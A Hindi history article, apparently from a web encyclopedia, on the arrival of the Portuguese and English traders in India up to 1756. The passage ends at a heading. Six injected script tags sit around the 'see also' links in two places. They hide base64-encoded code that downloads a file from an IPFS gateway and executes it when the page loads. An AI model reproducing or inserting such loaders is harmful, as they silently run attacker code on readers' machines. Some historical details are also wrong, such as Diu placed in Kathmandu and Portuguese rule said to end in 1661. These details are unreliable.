भारत में यूरोपीय व्यापार का प्रारम्भ

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भारत में यूरोप से विदेशियों का आगमल प्राचीन काल से ही हो रहा था। यहाँ की व्यापारिक सम्पदा से आकर्षित होकर समय-समय पर अनेक यूरोपीय जातियों का आगमन होता रहा। 15वीं शताब्दी में हुई भौगोलिक खोजों ने संसार के विभिन्न देशों में आपसी सम्पर्क स्थापित कर लिया। इसी प्रयास के अन्तर्गत कोलम्बस स्पेन से भारत के समुद्री मार्ग की खोज में निकला और चलकर अमेरिका पहुँच गया। 'बार्थोलेम्यू डायज' 1487 ई. में 'आशा अन्तरीप' पहुँचा। 17 मई, 1498 को वास्कोडिगामा ने भारत के पश्चिमी तट पर स्थित बन्दरगाह कालीकट पहुँच कर भारत के नये समुद्र मार्ग की खोज की। कालीकट के तत्कालीन शासक जमोरिन ने वास्कोडिगामा का स्वागत किया। जमोरिन का यह व्यापार उस समय भारतीय व्यापार पर अधिकार जमाये हुए अरब के व्यापारियों को पसन्द नहीं आया।

पुर्तग़ालियों का आगमन

आधुनिक काल में भारत आने वाले यूरोपीय के रूप के पुर्तग़ाली सर्वप्रथम रहे। पोप अलेक्जेण्डर षष्ठ ने एक आज्ञा पत्र द्वारा पूर्वी समुद्रों में पुर्तग़ालियों को व्यापार करने का एकाधिकार प्रदान कर दिया। प्रथम पुर्तग़ीज तथा प्रथम यूरोपीय यात्री वास्कोडिगामा 90 दिन की समुद्री यात्रा के बाद 'अब्दुल मनीक' नामक गुजरात के पथ प्रदर्शक की सहायता से 1498 ई. में कालीकट (भारत) के समुद्री तट पर उतरा।

वास्कोडिगामा के भारत आगमन से पुर्तग़ालियों एवं भारत के मध्य व्यापार के क्षेत्र में एक नये युग का शुभारम्भ हुआ। वास्कोडिगामा के भारत आने से और भी पुर्तग़ालियों का भारत आने का क्रम जारी हो गया। पुर्तग़ालियों के भारत आने के दो प्रमुख उद्देश्य थे-

  1. अरबों और वेनिस के व्यापारियों का भारत से प्रभाव समाप्त करना।
  2. भारत में ईसाई धर्म का प्रचार करना।

दुर्ग की स्थापना

9 मार्च, 1500 को 13 जहाज़ों के एक बेड़े का नायक बनकर 'पेड्रों अल्वारेज केब्राल' जलमार्ग द्वारा लिस्बन से भारत के लिए रवाना हुआ। वास्कोडिगामा के बाद भारत आने वाला यह दूसरा पुर्तग़ाली यात्री था। पुर्तग़ाली व्यापारियों ने भारत में कालीकट, गोवा, दमन, दीव एवं हुगली के बंदरगाहों में अपनी व्यापारिक कोठियाँ स्थापित कीं। पूर्वी जगत् के काली मिर्च और मसालों के व्यापार पर एकाधिकार प्राप्त करने के उद्देश्य से पुर्तग़ालियों ने 1503 ई. में कोचीन (भारत) में अपने पहले दुर्ग की स्थापना की।

1505 ई. में 'फ़्राँसिस्कों द अल्मेड़ा' भारत में प्रथम पुर्तग़ाली वायसराय बन कर आया। उसने सामुद्रिक नीति[1] को अधिक महत्व दिया तथा हिन्द महासागर में पुर्तग़ालियों की स्थिति को मजबूत करने का प्रयत्न किया। 1509 में अल्मेड़ा ने मिस्र, तुर्की और गुजरात की संयुक्त सेना को पराजित कर दीव पर अधिकार कर लिया। इस सफलता के बाद हिन्द महासागर पुर्तग़ाली सागर के रूप में परिवर्तित हो गया। अल्मेड़ा 1509 ई. तक भारत में रहा।

Blockquote-open.gif भारत में गोधिक स्थापत्य कला का आगमन पुर्तग़ालियों के साथ ही प्रारम्भ हुआ। पुर्तग़ालियों ने गोवा, दमन और दीव पर 1661 ई. तक शासन किया। उनके आगमन से भारत में तम्बाकू की खेती, जहाज़ निर्माण तथा प्रिंटिंग प्रेस की शुरुआत हुई। इस प्रकार भारत में प्रथम प्रिंटिंग प्रेस की स्थापना 1556 ई. में गोवा में हुई, जिसका श्रेय सिर्फ़ पुर्तग़ालियों को है। Blockquote-close.gif

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राज्य विस्तार

अल्मेड़ा के बाद अलफ़ांसों द अल्बुकर्क 1509 ई. में पुर्तग़ालियों का वायसराय बनकर भारत आया। इसे भारत में पुर्तग़ाली शक्ति का वास्तविक संस्थापक माना जाता है। यह भारत में दूसरा पुर्तग़ाली गर्वनर था। उसने कोचीन को अपना मुख्यालय बनाया। अल्बुकर्क के गोवा का अधिकार करने से पूर्व एक 'तिमैथा' नामक हिन्दू ने अल्बुकर्क को अत्यंत महत्त्वपूर्ण सलाह देकर प्रोत्साहित किया था, जिसके बाद 1510 ई. में उसने बीजापुर के शासक यूसुफ़ आदिलशाह से गोवा को छीन कर अपने अधिकार में कर लिया। गोवा के अलावा अल्बुकर्क ने 1511 में मलक्का (दक्षिण पूर्व एशिया) और 1515 में फ़ारस की खाड़ी में स्थित हरमुज पर अधिकार कर लिया। इस प्रकार दमन और दीव, सालसेट, बसीन, चोल, मुम्बई, हुगली तथा सेन्ट थोमे पर पुर्तग़ालियों का अधिकार हो गया। पुर्तग़ालियों की आबादी को बढ़ाने के उद्देश्य से अलफ़ांसों द अल्बुकर्क ने भारतीय स्त्रियों से विवाह को प्रोत्साहन दिया। उसने अपनी सेना में भारतीयों को भर्ती किया। 1515 में अलबुकर्क की मृत्यु हो गई। उसे गोवा में दफ़ना दिया गया।

अल्बुकर्क के बाद नीनो-डी-कुन्हा अगला पुर्तग़ीज गर्वनर बनकर भारत आया। 1530 में उसने अपना कार्यालय कोचीन से गोवा स्थानान्तित किया और गोवा को पुर्तग़ाल राज्य की औपचारिक राजधानी बनाया। कुन्हा ने 'सैन्थोमी' (चेन्नई), 'हुगली' (बंगाल) तथा 'दीव' (काठमाण्डू) मे पुर्तग़ीज बस्तियों को स्थापित कर भारत में पूर्वी समुद्र तट की ओर पुर्तग़ाली वाणिज्य का विस्तार किया। उसने 1534 ई. में बसीन और 1535 में दीव पर अधिकार किया। नीनो-डी-कुन्हा के बाद जोवा-डी-कैस्ट्रों भारत का अगला पुर्तग़ाली गर्वनर नियुक्त हुआ। 1518 ई. में पुर्तग़ालियों ने कोलम्बा में और फिर मलक्का में कारखानों की स्थापना की। गोवा को पुर्तग़ालियों ने अपनी सत्ता और संस्कृति के महत्त्वपूर्ण केन्द्र के रूप में स्थापित किया। 1559 ई. तक पुर्तग़ालियों ने गोवा, दमन, दीव, सालसेट, बसीन, चैल, मुम्बई, सान्थोमी और हुगली पर अपना अधिकार कर लिया। पुर्तग़ाली पड़ोसी राज्यों में भारतीयों को ही राजदूत और जासूस बनाकर भेजते थे। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अल्बुकर्क एवं नीनो-डी-कुन्हा<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तुर्की आक्रमण
वर्ष आक्रांता स्थान
1529 ई. सुलेमान रईस गुजरात तट पर
1538 ई. सुलेमान पाशा दीव पर
1551 ई. पेरी रईस मस्कट एवं भुज पर
1554 ई. अली रईस पश्चिमी समुद्र तट पर

डचों तथा अंग्रेज़ों का प्रभाव

अपनी शक्ति के विस्तार के साथ ही पुर्तग़ालियों ने भारतीय राजनीति में भी हस्तक्षेप करना प्रारम्भ कर लिया। इसका स्वाभाविक परिणाम यह हुआ कि वे कालीकट के राजा से, जिसकी समृद्धि अरब सौदागरों पर निर्भर थी, शत्रुता रखने लगे। वे कालीकट के राजा के शत्रुओं से, जिनमें कोचीन का राजा प्रमुख था, संधियाँ करने लगे। भारत में पुर्तग़ालियों ने सबसे पहले प्रवेश किया, लेकिन अठाहरवी सदी तक आते-आते भारतीय व्यापार के क्षेत्र में उनका प्रभाव जाता रहा। उनके पतन के महत्त्वपूर्ण कारणों में उनकी धार्मिक असहिष्णुता की नीति, अल्बुकर्क के अयोग्य उत्तराधिकारी, डच तथा अंग्रेज़ शक्तियों का विरोध, बर्बरतापूर्वक समुद्री लूटमार की नीति का पालन, स्पेन द्वारा पुर्तग़ाल की स्वतन्त्रता का हरण, विजयनगर साम्राज्य का विध्वंस आदि को गिनाया जाता हे। उनकी धार्मिक असहिष्णुता की नीति से भारतीय शक्तियाँ रुष्ट हो गयीं। जिन पर पुर्तग़ाली विजय नहीं प्राप्त कर सके। पुर्तग़ालियों को चुपके-चुपके व्यापार करना अन्त में उन्हीं के लिए घातक सिद्ध हुआ। ब्राजील का पता लग जाने पर पुर्तग़ाल की उपनिवेश संबंधी क्रियाशीलता पश्चिम की ओर उन्मुख हो गयी। अंततः उनके पीछे आने वाली यूरोपीय कंपनियों से उनकी प्रतिद्वंदिता हुई, जिसमें वे पिछड़ गये। अधिकांश भाग उनके हाथ से निकल गए।

पुर्तग़ालियों का पतन

डच और ब्रिटिश कम्पनियों के हिन्द महासागर में आ जाने से पुर्तग़ालियों का पतन होने लगा और उनका एकाधिकार समाप्त हो गया। 1538 ई. में अदन पर तुर्की का अधिकार हो गया। 1602 ई. में डचों ने वाण्टम के समीप पुर्तग़ाली बेड़े पर आक्रमण कर उसे पराजित कर दिया। 1641 ई. में डचों ने पुर्तग़ालियों के महत्त्वपूर्ण मलक्का दुर्ग को जीत लिया। 1628 ई. में फ़ारस की सेना की सहायता से अंग्रेज़ों ने हरमुज पर क़ब्ज़ा कर लिया तथा मराठों ने 1739 ई. में सालसेट और बसीन पर अधिकार कर लिया। 1661 ई. तक केवल गोवा, दमन और दीव ही पुर्तग़ालियों के अधिकार में रह गया।

हिन्द महासागर और दक्षिणी तट पर पुर्तग़ालियों के प्रभुत्व के लिए निम्नलिखित दो कारण जिम्मेदार थे-

  1. एशियाई जहाज़ों की तुलना में पुर्तग़ाली नौसेना का अधिक होना।
  2. सामजिक एवं व्यापारिक दृष्टिकोण से स्थापित महत्त्वपूर्ण व्यापारिक बस्तियों तथा स्थानीय लोगों का सहयोग प्राप्त करना।

Blockquote-open.gif अंग्रेज़ों ने 1639 ई. में मद्रास में तथा 1651 ई. में हुगली में व्यापारिक कोठियों की स्थापना की। 1661 ई. में इंग्लैण्ड के सम्राट चार्ल्स द्वितीय का विवाह पुर्तग़ाल की राजकुमारी 'कैथरीन' से हुआ तथा चार्ल्स को बम्बई दहेज के रूप में प्राप्त हुआ, जिसे उसने 1668 में दस पौण्ड वार्षिक किराये पर ईस्ट इण्डिया कम्पनी को दे दिया। पूर्वी भारत में अंग्रेज़ों ने अपना पहला कारखाना उड़ीसा में 1633 ई. में खोला। शीघ्र ही अंग्रेज़ों ने बंगाल, बिहार, पटना, बालासोर एवं ढाका में अपने कारखाने खोले। Blockquote-close.gif

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सामुद्रिक साम्राज्य

पुर्तग़ाली सामुद्रिक साम्राज्य को एस्तादो द इण्डिया नाम दिया गया। पुर्तग़ालियों ने हिन्द महासागर में होने वाले व्यापार को नियन्त्रित करने का प्रयास किया। उन्होंने 'काटर्ज-आर्मेडा-काफिला' व्यवस्था द्वारा एशियाई व्यापार पर गहरा प्रभाव डाला। पुर्तग़ालियों द्वारा अपने प्रभुत्व के अधीन सामुद्रिक मार्गों पर 'सुरक्षा कर' वसूल करने को 'काटर्ज व्यवस्था' कहा जाता था। पुर्तग़ाल अधिग्रहीत क्षेत्रों में व्यापार के लिए मुग़ल बादशाह अकबर को भी एक निःशुल्क काटर्ज प्राप्त करना पड़ता था। पुर्तग़ाली अपने को 'सागर स्वामी' कहते थे। कोई भी भारतीय, अरबी जहाज़ पुर्तग़ाली अधिकारियों से 'काटर्ज' (परमिट) लिए बिना अरब सागर में नहीं जा सकता था। 1595 ई. तक पुर्तग़ालियों का हिन्द महासागर पर एकधिकार बना रहा।

ईसाई धर्म का प्रचार

1542 ई. में पुर्तग़ाली गर्वनर अल्फ़ांसों डिसूजा के साथ प्रसिद्ध जेसुइट पादरी और संत 'जेवियर' भारत आया। पुर्तग़ालियों ने कन्याकुमारी एवं एडमब्रिज के मध्य रहने वाले जनजातीय मछुवारे और मालाबार तट के मुकुवा मछुवारों को ईसाई धर्म में परिवर्तित किया। पुर्तग़ाल में 1560 ई. में गोवा में ईसाई धर्म न्यायालय की स्थापना की। मुग़ल शासक शाहजहाँ ने 1632 ई. में पुर्तग़ालियों से हुगली छीन लिया, क्योंकि पुर्तग़ाली वहाँ पर लूटमार, ईसाई धर्म का अनैतिक तरीके से प्रचार तथा धर्म परिवर्तन आदि निन्दनीय कार्य कर रहे थे। शाहजहाँ ने इसका दायित्व गर्वनर (सूबेदार) कासिम अली ख़ाँ को सौंपा था। पुर्तग़ाली मालाबार और कोंकण तट से सर्वाधिक काली मिर्च का निर्यात करते थे। मालाबर तट से अदरख, दालचीनी, चंदन, हल्दी, नील आदि का निर्यात होता था।

विशेष योगदान

भारत में गोधिक स्थापत्य कला का आगमन पुर्तग़ालियों के साथ हुआ। पुर्तग़ालियों ने गोवा, दमन और दीव पर 1661 ई. तक शासन किया। उनके आगमन से भारत में तम्बाकू की खेती, जहाज़ निर्माण तथा प्रिंटिंग प्रेस की शुरुआत हुई। इस प्रकार भारत में प्रथम प्रिंटिंग प्रेस की स्थापना 1556 ई. में गोवा में हुई।

अंग्रेज़ों का आगमन

इंग्लैण्ड की महारानी एलिजाबेथ प्रथम के समय में 31 दिसम्बर, 1600 को भारत में 'दि गर्वनर एण्ड कम्पनी ऑफ लन्दल ट्रेडिंग इन टू दि ईस्ट इंडीज' अर्थात् 'ब्रिटिश ईस्ट इंडिया कम्पनी' की स्थापना हुई। इस कम्पनी की स्थापना से पूर्व महारानी एलिजाबेथ ने पूर्व देशों से व्यापार करने के लिए चार्टर तथा एकाधिकार प्रदान किया। प्रारम्भ में यह अधिकार मात्र 15 वर्ष के लिए मिला था, किन्तु कालान्तर में इसे 20-20 वर्षों के लिए बढ़ाया जाने लगा। ईस्ट इंडिया कम्पनी में उस समय कुल क़रीब 217 साझीदार थे। कम्पनी का आरम्भिक उद्देश्य भू-भाग नहीं बल्कि व्यापार था।

हॉकिन्स और जहाँगीर की भेंट

भारत में व्यापारिक कोठियाँ खोलने के प्रयास के अन्तर्गत ही ब्रिटेन के सम्राट जेम्स प्रथम ने 1608 ई. में कैप्टन विलियम हॉकिन्स को अपने राजदूत के रूप में मुग़ल सम्राट जहाँगीर के दरबार में भेजा। 1609 ई. में हॉकिन्स ने जहाँगीर से मिलकर सूरत में बसने की इजाजत मांगी, परन्तु पुर्तग़ालियों तथा सूरत के सौदागरों के विद्रोह के कारण उसे स्वीकृति नहीं मिली। हांकिन्स फ़ारसी भाषा का बहुत अच्छा जानकार था। कैप्टन हॉकिन्स तीन वर्षों तक आगरा में रहा। जहाँगीर ने उससे प्रसन्न होकर 400 का मनसब तथा जागीर प्रदान कर दी। 1616 ई. में सम्राट जेम्स प्रथम ने सर टॉमस रो को अपना राजदूत बना कर जहाँगीर के पास भेजा। टॉमस रो का एकमात्र उदेश्य था- 'व्यापारिक संधि करना'। यद्यपि उसका जहाँगीर से व्यापारिक समझौता नहीं हो सका, फिर भी उसे गुजरात के तत्कालीन सूबेदार "ख़ुर्रम" (शहजादा शाहजहाँ) से व्यापारिक कोठियों को खोलने के लिए फ़रमान प्राप्त हो गया।

व्यापारिक कोठियों की स्थापना

टॉमस रो के भारत से वापस जाने से पूर्व सूरत, आगरा, अहमदाबाद और भड़ौच में अंग्रेज़ों ने अपनी व्यापारिक कोठियाँ स्थापित कर लीं। 1611 ई. में दक्षिण-पूर्वी समुद्र तट पर सर्वप्रथम अंग्रेज़ों ने मसुलीपट्टम में व्यापारिक कोठी की स्थापना की। यहाँ से वस्त्र का निर्यात होता था। 1632 ई. में गोलकुण्डा के सुल्तान ने एक सुनहरा फरमान जारी कर दिया, जिसके अनुसार 500 पगोड़ा सालाना कर देकर गोलकुण्डा राज्य के बन्दरगाहों से व्यापार करने की अनुमति मिल गयी। 1639 ई. में मद्रास में तथा 1651 ई. में हुगली में व्यापारिक कोठियाँ खोली गईं। 1661 ई. में इंग्लैण्ड के सम्राट चार्ल्स द्वितीय का विवाह पुर्तग़ाल की राजकुमारी कैथरीन से हुआ तथा चार्ल्स को बम्बई दहेज के रूप में प्राप्त हुआ, जिसे उन्होंने 1668 में दस पौण्ड वार्षिक किराये पर ईस्ट इण्डिया कम्पनी को दे दिया। पूर्वी भारत में अंग्रेज़ों ने अपना पहला कारखाना उड़ीसा में 1633 ई. में खोला। शीघ्र ही अंग्रेज़ों ने बंगाल, बिहार, पटना, बालासोर एवं ढाका में अपने कारखाने खोले। 1639 ई. में अंग्रेज़ों ने चंद्रगिरि के राजा से मद्रास को पट्टे पर लेकर कारखाने की स्थापना की तथा कारखाने की क़िलेबन्दी कर उसे 'फ़ोर्ट सेंट जॉर्ज' का नाम दिया। फ़ोर्ट सेंट जॉर्ज शीघ्र ही कोरोमण्डल समुद्र तट पर अंग्रेज़़ी बस्तियों के मुख्यालय के रूप में मसुलीपट्टम से आगे निकल गया।

बंगाल में अंग्रेज़ी व्यापार

1651 ई. में बंगाल में सर्वप्रथम अंग्रेज़ों को व्यापारिक छूट प्राप्त हुई, जब ग्रेवियन वांटन, जो बंगाल के सूबेदार शाहशुजा के साथ दरबारी चिकित्सक के रूप में रहता था, कम्पनी के लिए एक फरमान प्राप्त करने में सफल हुआ। इस फरमान से कम्पनी को 3000 रुपया वार्षिक कर के बदले बंगाल, बिहार तथा उड़ीसा में मुक्त व्यापार करने की अनुमति मिल गयी। राजकुमार शुजा की अनुमति से अंग्रेज़ों ने बंगाल में अपनी प्रथम कोठी 1651 ई. में हुगली में स्थापित की। ब्रिजमैन को 1651 ई. में हुगली में स्थापित अंग्रेज़ी फैक्ट्री का प्रधान नियुक्त किया गया गया। हुगली के बाद अंग्रेज़ों ने कासिम बाज़ार, पटना और राजमहल में अपने कारखाने खोले। 1656 ई. में दूसरा फरमान मंजूर किया गया। इसी प्रकार कम्पनी ने 1672 ई. में शाइस्ता ख़ाँ से तथा 1680 में मुग़ल बादशाह औरंगज़ेब से व्यापारिक रियायतों के संबंध में फरमान प्राप्त किया।

मुग़ल राजनीति में हस्तक्षेप

धीरे-धीरे अंग्रेज़ों का मुग़ल राजनीति में हस्तक्षेप प्रारम्भ हो गया। 1686 ई. में हुगली को लूटने के बाद अंग्रेज़ और मुग़ल सेनाओं में संघर्ष हुआ, जिसके परिणामस्वरूप कम्पनी को सूरत, मसुलीपट्टम, विशाखापत्तनम आदि के कारखानों से अपने अधिकार खोने पड़े, परन्तु अंग्रेज़ों द्वारा क्षमा याचना करने पर औरंगज़ेब ने उन्हें डेढ़ लाख रुपया मुआवजा देने के बदले पुनः व्यापार के अधिकार दे दिये और 1691 ई. में एक फरमान निकाला, जिसमें 3000 रुपये के निश्चित वार्षिक कर के बदले बंगाल में कमपनी को सीमा शुल्क देने से छूट दे दी गई। 1698 ई. में तत्कालीन बंगाल के सूबेदार अजीमुश्शान द्वारा कम्पनी ने तीन गांव- 1700 ई. तक गोविन्दपुर की ज़मींदारी 12000 रुपये भुगतान कर प्राप्त कर ली। 1700 ई. तक जॉब चारनाक ने इसे विकसित कर कलकत्ता का रूप दिया। इस प्रकार कलकत्ता में फ़ोर्ट विलियम की स्थापना हुई। इसका पहला गर्वनर चार्ल्स आयर को बनाया गया।

बंगाल में सूबेदार शाहशुजा के फरमान के बाद भी अंग्रेज़ों को बंगाल में बलात चुंगियाँ अदा करनी पड़ती थी, जिसके कारण कम्पनी ने अपनी सुरक्षा खुद करने के उद्देश्य से थाना के मुग़ल क़िलों पर अधिकार कर लिया। 1686 ई. में मुग़ल सेना ने अंग्रेज़ों को हुगली से पलायन करने एवं ज्वाग्रस्त फुल्टा द्वीप पर शरण लेने के लिए मजबूर किया। फ़रवरी, 1690 में एजेंट जॉब चारनाक को बादशाह औरंगज़ेब से क्षमा मांगनी पड़ी। बाद में कम्पनी को पुनः उसके अधिकार प्राप्त हो गए। लेकिन कम्पनी को क्षतिपूर्ति के लिए एक लाख पचास हज़ार रुपया हर्जाने के रूप में देना पड़ा।

फ़र्रुख़सियर का फरमान

1715 ई. में जॉन सर्मन के नेतृत्व में एक व्यापारिक मिशन तत्कालीन मुग़ल बादशाह फ़र्रुख़सियर से मिलने गया। इस व्यापारिक मिशन में एडवर्ड स्टीफ़ेंसन, विलियम हैमिल्टन (सर्जन) तथा ख़्वाजा सेहुर्द (अर्मेनियाई द्विभाषिया) शामिल थे। डॉक्टर विलियम हैमिल्टर, जिसने सम्राट फ़र्रुख़सियर को एक प्राण घातक फोड़े से निजात दिलाई थी, की सेवा से प्रसन्न होकर 1717 ई. में सम्राट फ़र्रुख़सियर ने 'ईस्ट इंडिया कम्पनी' के लिए निम्नलिखित सुविधाओं वाला फरमान जारी किया-

  1. बंगाल में कम्पनी को 3000 रुपये वार्षिक देने पर निःशुल्क व्यापार का अधिकार मिल गया।
  2. कम्पनी को कलकत्ता के आस-पास की भूमि किराये पर लेने का अधिकार दिया गया।
  3. बम्बई की टकसाल से जारी किये गये सिक्कों को कम्पनी के द्वारा मुग़ल साम्राज्य में मान्यता प्रदान की गई।
  4. सूरत में 10,000 रुपये वार्षिक कर देने पर निःशुल्क व्यापार का अधिकार प्राप्त हो गया।

इतिहासकार ओम्र्स ने फर्रुखसियर द्वारा जारी किये गये इस फरमान को ‘कम्पनी का महाधिकार पत्र’ कहा। 1669 से 1677 तक बम्बई का गर्वनर गोराल्ड औंगियार ही वास्तव में बम्बई का महातम संस्थापक था। 1687 तक बम्बई पश्चिमी तट का प्रमुख व्यापारिक केन्द्र बना रहा। गोराल्ड औंगियार ने बम्बई में किलेबन्दी के साथ ही गोदी का निर्माण् कराया तथा बम्बई नगर की स्थापना और एक न्यायालय और पुलिस दल की स्थापना की। गोराल्ड औंगियार ने बम्बई के गर्वनर के रूप में यहां से तांबे और चांदी के सिक्के ढालने के लिए टकसाल की स्थापना की। औंगियार के समय में बम्बई की जनसंख्या 60,000 थी। उसका उत्तराधिकारी रौल्ट (1677-82) हुआ।

बंगाल पर अंग्रेज़ी अधिपत्य

मुग़ल साम्राज्य के अन्तर्गत आने वाले प्रान्तों में बंगाल सर्वाधिक सम्पन्न था। अंग्रेज़ों ने बंगाल में अपनी प्रथम कोठी 1651 ई. में हुगली में तत्कालीन बंगाल के सूबेदार शाहशुजा (शाहजहाँ के दूसरे पुत्र) की अनुमति से बनायी तथा बंगाल से शोरे, रेशम और चीनी का व्यापार आरम्भ किया। ये बंगाल के निर्यात की प्रमुख वस्तुऐं थी। उसी वर्ष एक राजवंश की स्त्री की डॉक्टर बौटन द्वारा चिकित्सा करने पर उसने अंग्रेज़ों को 3,000 रुपये वार्षिक में बंगाल, बिहार तथा उड़ीसा में मुक्त व्यापार की अनुमति प्रदान की। शीघ्र ही अंग्रेज़ों ने कासिम बाज़ार, पटना तथा अन्य स्थानों पर कोठियाँ बना लीं। 1658 में औरंगज़ेब ने मीर जुमला को बंगाल का सूबेदार नियुक्त किया। उसने अंग्रेज़ों के व्यापार पर कठोर प्रतिबन्ध लगा दिया, परिणामस्वरूप 1658 से 1663 ई. तक अंग्रेज़ों को बड़ी कठिनाई का सामना करना पड़ा। किन्तु 1698 में सूबेदार अजीमुश्शान द्वारा अंग्रेज़ों को सूतानती, कालीघाट एवं गोविन्दपुर की जमींदारी दे दी गयी, जिससे अंग्रेज़ों को व्यापार करने में काफ़ी लाभ प्राप्त हुआ। 18वीं शताब्दी के प्रारम्भिक दौर में यहाँ के सूबेदारों ने अपनी स्वतंत्रता की घोषणा कर नवाब की उपाधि धारण की। मुर्शीदकुली ख़ाँ, जो औरंगज़ेब के समय में बंगाल का दीवान तथा मुर्शिदाबाद का फ़ौजदार था, बादशाह की मुत्यु के बाद 1717 में बंगाल का स्वतंत्र शासक बन गया। मुर्शीदकुली ख़ाँ ने बंगाल की राजधानी को ढाका से मुर्शिदाबाद हस्तांतरित कर दिया। उसके शासन काल में तीन विद्रोह हुए-

  1. सीताराम राय, उदय नारायण तथा ग़ुलाम मुहम्मद का विद्रोह।
  2. शुजात ख़ाँ का विद्रोह।
  3. नजात ख़ाँ का विद्रोह।

नजात ख़ाँ को हराने के बाद मुर्शीदकुली ख़ाँ ने उसकी ज़मींदारियों को अपने कृपापात्र रामजीवन को दे दिया। मुर्शीदकुली ख़ाँ ने नए सिरे से बंगाल के वित्तीय मामले का प्रबन्ध किया। उसने नए भूराजस्व बन्दोबस्त के जरिए जागीर भूमि के एक बड़े भाग को 'खालसा भूमि' बना दिया तथा 'इजारा व्यवस्था' (ठेके पर भूराजस्व वसूल करने की व्यवस्था) आरम्भ की। 1732 ई. में बंगाल के नवाब द्वारा अलीवर्दी ख़ाँ को बिहार का सूबेदार नियुक्त किया गया। 1740 ई. में अलीवर्दी ख़ाँ ने बंगाल के नवाब शुजाउद्दीन के पुत्र सरफ़राज को 'घेरिया के युद्ध' में परास्त कर बंगाल की सूबेदारी प्राप्त कर ली ओर वह अब बंगाल, बिहार और उड़ीसा के सम्मिलित प्रदेश का नवाब बन गया। यही नहीं, इसने तत्कालीन मुग़ल सम्राट मुहम्मदशाह से 2 करोड़ रुपये नजराने के बदलें में स्वीकृति भी प्राप्त कर लिया। उसने लगभग 15 वर्ष तक मराठों से संघर्ष किया। अलीवर्दी ख़ाँ ने यूरोपियों की तुलना मधुमक्खियों से करते हुए कहा कि "यदि उन्हें छेड़ा न जाय तो वे शहद देंगी और यदि छेड़ा जाय तो काट-काट कर मार डालेंगी।"

1756 ई. में अलीवर्दी ख़ाँ के मरने के बाद उसके पौत्र सिराजुद्दौला ने गद्दी को ग्रहण किया। पूर्णिया का नवाब शौकतजंग (सिराजुद्दौला की मौसी का लडका) तथा घसीटी बेगम (सिराजुद्दौला की मौसी), दोनों ही सिराजुद्दौला के प्रबल विरोधी थे। उसका सबसे प्रबल शत्रु बंगाल की सेना का सेनानायक और अलीवर्दी ख़ाँ का बहनाई मीर जाफ़र अली था। दूसरी ओर, चूंकि अंग्रेज़, फ़्राँसीसियों से भयभीत थे, अतः उन्होंने कलकत्ता की फ़ोर्ट विलियम कोठी की क़िलेबन्दी कर डाली। अंग्रेज़ों ने शौकत जंग एवं घसीटी बेगम का समर्थन किया। अंग्रेज़ों के इस कार्य से रुष्ट होकर सिराजुद्दौला ने 15 जून, 1756 को फ़ोर्ट विलियम का घेराव कर अंग्रेज़ों को आत्म-समर्पण के लिए मजबूर कर दिया। अन्ततः नवाब ने कलकत्ता मानिकचन्द्र को सौंप दिया और स्वयं मुर्शिदाबाद वापस आ गया।

प्रमुख यूरोपीय कम्पनी
कंपनी स्थापना वर्ष
पुर्तग़ाली ईस्ट इण्डिया कंपनी ('इस्तादो द इण्डिया') 1498 ई.
अंग्रेज़ी ईस्ट इण्डिया कम्पनी ('द गर्वनर एण्ड कम्पनी ऑफ़ मर्चण्ट्स ऑफ़ लंदन ट्रेडिंग इन टू द ईस्ट इंडीज') 1600 ई.
डच ईस्ट इण्डिया कम्पनी ('वेरीगंडे ओस्त इण्डिशें कंपनी') 1602 ई.
डैनिश ईस्ट इण्डिया कंपनी 1616 ई.
फ़्राँसीसी ईस्ट इण्डिया कंपनी ('कंपनी इण्डेस ओरियंतलेस') 1664 ई.
स्वीडिश ईस्ट इण्डिया कम्पनी 1731 ई.

कालकोठरी की घटना

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: कलकत्ता की काल कोठरी<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ऐसा माना जाता है कि बंगाल के नवाब ने 146 अंग्रेज़ बंदियों, जिनमें स्त्रियाँ और बच्चे भी सम्मिलित थे, को एक छोटे-से कमरे में बन्द कर दिया था। 20 जून, 1756 की रात को बंद करने के बाद जब 23 जून को प्रातः कोठरी को खोला गया तो उसमें 23 लोग ही जीवित पाये गये। जीवित रहने वालों में हॉलवैल भी था, जिसे इस घटना का रचयिता माना जाता है। इस घटना की विश्वसनीयता को इतिहासकारों ने संदिग्ध माना है और इतिहास में इस घटना का महत्व केवल इतना ही है कि अंग्रेज़ों ने इस घटना को आगे के आक्रामक युद्ध का कारण बनाये रखा।

प्लासी युद्ध की बुनियाद

